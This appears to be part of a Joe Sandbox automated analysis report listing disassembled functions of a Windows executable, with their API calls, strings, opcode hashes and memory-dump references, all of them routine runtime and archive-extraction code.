Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 5fbb37684b934dd840098da71c76c69d6c632a09fb4735c5c5b6d8934ed646c0
Instruction ID: 0c014dd05e9e100d9cc49e8df0cdf85d50e91f5337c1f7f898066be17bcf59a7
Opcode Fuzzy Hash: 5fbb37684b934dd840098da71c76c69d6c632a09fb4735c5c5b6d8934ed646c0
Instruction Fuzzy Hash: 5441B221B18E4342FA14BB12AA416B6EB91BF46BE4FD84031DE0D07B95DE7CF44D8760

Function 00007FF7102C1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100COMMON

Download Yara Rule

Strings

fseek, xrefs: 00007FF7102C14B0
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7102C159A
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7102C146F
malloc, xrefs: 00007FF7102C14E0
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7102C14A9
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7102C14D9
fread, xrefs: 00007FF7102C15A1

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 982cd2b96996f0ecb3dcf09ee6fd1ebe83e48620aff4e51a16cded83b03020f8
Instruction ID: 1e80b0dc757a02401dcb4ba824b1a6a7c3a3cdc8484b327db10704f9629a8bf5
Opcode Fuzzy Hash: 982cd2b96996f0ecb3dcf09ee6fd1ebe83e48620aff4e51a16cded83b03020f8
Instruction Fuzzy Hash: 9E41B022B18A4381EA21BB15AA415B6EBA0FF457E4FD44032DE4D17B95EE3CF4498720

Function 00007FF7102CDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7102CDD85

Part of subcall function 00007FF7102CECDC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7102CED1F
Part of subcall function 00007FF7102CECDC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7102CED44

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7102CDE5D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7102CE0AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7102CE1B8

Strings

csm, xrefs: 00007FF7102CDE06
csm, xrefs: 00007FF7102CDE80
csm, xrefs: 00007FF7102CDD9F

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction ID: 431935d7e2acf15eedf4495fdeb90a30d818f9cb70417d1456e7679c28ab53ef
Opcode Fuzzy Hash: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction Fuzzy Hash: 71D1C332A28F4186EB20AF24D5403ADBBA0FB457A8F540135EE4D57B9ACF38F499C750

Function 00007FF7102CCFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD06D
GetLastError.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD0A5
FreeLibrary.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD113
GetProcAddress.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD11F

Strings

api-ms-, xrefs: 00007FF7102CD08D

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: bc55b2914dc31ce8cbee4c269d15667b4e04859bdba50843209f068e3f4486c4
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: 2831A421A2AE4291EE12BB16A940675AB94BF45BB4F9A0535DD1D0B380EF3CF44A8320

Function 00007FF7102DA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7102DA46F
FlsGetValue.KERNEL32 ref: 00007FF7102DA484
FlsSetValue.KERNEL32 ref: 00007FF7102DA4A5
FlsSetValue.KERNEL32 ref: 00007FF7102DA4D2
FlsSetValue.KERNEL32 ref: 00007FF7102DA4E3
FlsSetValue.KERNEL32 ref: 00007FF7102DA4F4
SetLastError.KERNEL32 ref: 00007FF7102DA50F

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
Instruction ID: 108f13621333e7c22e64139f4c076ac5a51fce8e50df9ef2037d7fcbc7ce2b24
Opcode Fuzzy Hash: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
Instruction Fuzzy Hash: 83214C22B0CE4242FAA57326565653EE9825F487B0FD44734E93E07BD6DE6CFC094721

Function 00007FF7102E707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7102E70AD
GetLastError.KERNEL32 ref: 00007FF7102E70B9
CloseHandle.KERNEL32 ref: 00007FF7102E70D1
CreateFileW.KERNEL32 ref: 00007FF7102E70FC
WriteConsoleW.KERNEL32 ref: 00007FF7102E711B

Strings

CONOUT$, xrefs: 00007FF7102E70DD

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction ID: 0acf70eceb6296892ff7bf39ca9b479fd96fc484d89a55ea6fac557619474cd3
Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction Fuzzy Hash: 6D11B921B18F4286E7519B02E85432AEAA0FB48FF4F800234EA1D57794DF7CF408C760

Function 00007FF7102C81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C827A

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C8305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C8364
FreeLibrary.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C8375
FreeLibrary.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C838A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 639de59220823cace7c77af6f37b7d772b01f3b75ea0781fa3cc2fa807537d27
Instruction ID: 31a49b861d1fb7d0be2e1656a41770f2dfc72d09d0950bcde8a7ba08e0bae8e0
Opcode Fuzzy Hash: 639de59220823cace7c77af6f37b7d772b01f3b75ea0781fa3cc2fa807537d27
Instruction Fuzzy Hash: A341A362A29EC241EA30AB11A6002BABB94FF85BE4F845135DF5D57789DE7CF409C720

Function 00007FF7102DA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA5E7
FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA61D
FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA64A
FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA65B
FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA66C
SetLastError.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA687

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
Instruction ID: f129e391c2801b7840431ed6c2a0e6c07870378c41cd302f2166c758de3b3d37
Opcode Fuzzy Hash: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
Instruction Fuzzy Hash: C2116A22A0CE4286FEA57726964153EEA865F487B0FC84334E93E077D6DE2CFC094761

Function 00007FF7102C2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7102C2338
DialogBoxIndirectParamW.USER32 ref: 00007FF7102C23FE
DeleteObject.GDI32 ref: 00007FF7102C2431
DestroyIcon.USER32 ref: 00007FF7102C2443

Strings

Unhandled exception in script, xrefs: 00007FF7102C2368

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
Instruction ID: e16cd90828a7366839e8d8f019176bf37a2c8210f47ea8b77c3bc0a4953d490a
Opcode Fuzzy Hash: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
Instruction Fuzzy Hash: E9319572618E8289EB20EF61E8552FAB760FF897A4F840135EA4D47B55DF3CE508C710

Function 00007FF7102C2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

MessageBoxW.USER32 ref: 00007FF7102C283B
MessageBoxA.USER32 ref: 00007FF7102C284F

Strings

Error, xrefs: 00007FF7102C282C
Error/warning (ANSI fallback), xrefs: 00007FF7102C2843
%s%s: %s, xrefs: 00007FF7102C27EC

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
API String ID: 1878133881-640379615
Opcode ID: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction ID: 49c044f1bbff69d25bf06c21e31068de913e7e039e2977579727c86632218760
Opcode Fuzzy Hash: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction Fuzzy Hash: 51219672628E8681E620AB10F4517EAA764FF84794F801136E68C13B99CF7CE649C760

Function 00007FF7102D8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7102D8DC5
GetProcAddress.KERNEL32 ref: 00007FF7102D8DDB
FreeLibrary.KERNEL32 ref: 00007FF7102D8E02

Strings

mscoree.dll, xrefs: 00007FF7102D8DBC
CorExitProcess, xrefs: 00007FF7102D8DD4

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction ID: d2ebc646bfd008d07da55a8bb9ba20a89be3e0408609e9c567d2c32719bff3f8
Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction Fuzzy Hash: 69F04F61A19F0282EA11AB24E45437A9B20AF867B1FD40635D96D467E4CF2CF44DC720

Function 00007FF7102E8678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7102E86A0
_set_statfp.LIBCMT ref: 00007FF7102E86BB
_set_statfp.LIBCMT ref: 00007FF7102E86D7
_set_statfp.LIBCMT ref: 00007FF7102E8713

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 8ccab1ad8002e8d9c28fa8d106187d11915cf6e1f101da5ff3b6a71f580dd9d1
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: F1118F36ED8E0301F6543128D456375D9406F54374FA90634EAEE267DACEACB8498130

Function 00007FF7102DA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA6BF
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA6DE
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA706
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA717
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA728

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
Instruction ID: 66ee5f9612fc759b931c18fd11915d97f656c635c81065c6d0994ecae23fb31f
Opcode Fuzzy Hash: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
Instruction Fuzzy Hash: 2F112C22F08A4242FEA87326554257DE9925F987F0F944334E83E067D6DE2CFC098721

Function 00007FF7102DA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7102DA545
FlsSetValue.KERNEL32 ref: 00007FF7102DA564
FlsSetValue.KERNEL32 ref: 00007FF7102DA58C
FlsSetValue.KERNEL32 ref: 00007FF7102DA59D
FlsSetValue.KERNEL32 ref: 00007FF7102DA5AE

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
Instruction ID: 88c1ea98a126f9ea5c926288430fd52cbdfc497cb9507fb21052a58264344d87
Opcode Fuzzy Hash: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
Instruction Fuzzy Hash: B211FA22E09A0746FDA97326645257AAA824F49770FD84734D93E0A3D6ED3CFC495331

Function 00007FF7102D52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D54CC

Strings

verbose, xrefs: 00007FF7102D52C0

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: 9328dd109421082572245c2f9f642832102b0b34dd5458bdb9688a6387424c74
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: B891D033A08EA681F761AE25E45037DBA91AB00BA4FC44136DA9D463D5DFBCFC498321

Function 00007FF7102DEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DF1B7

Part of subcall function 00007FF7102D6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D6D69

Strings

ccs, xrefs: 00007FF7102DF0F2
UTF-16LEUNICODE, xrefs: 00007FF7102DF155
UTF-8, xrefs: 00007FF7102DF136

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
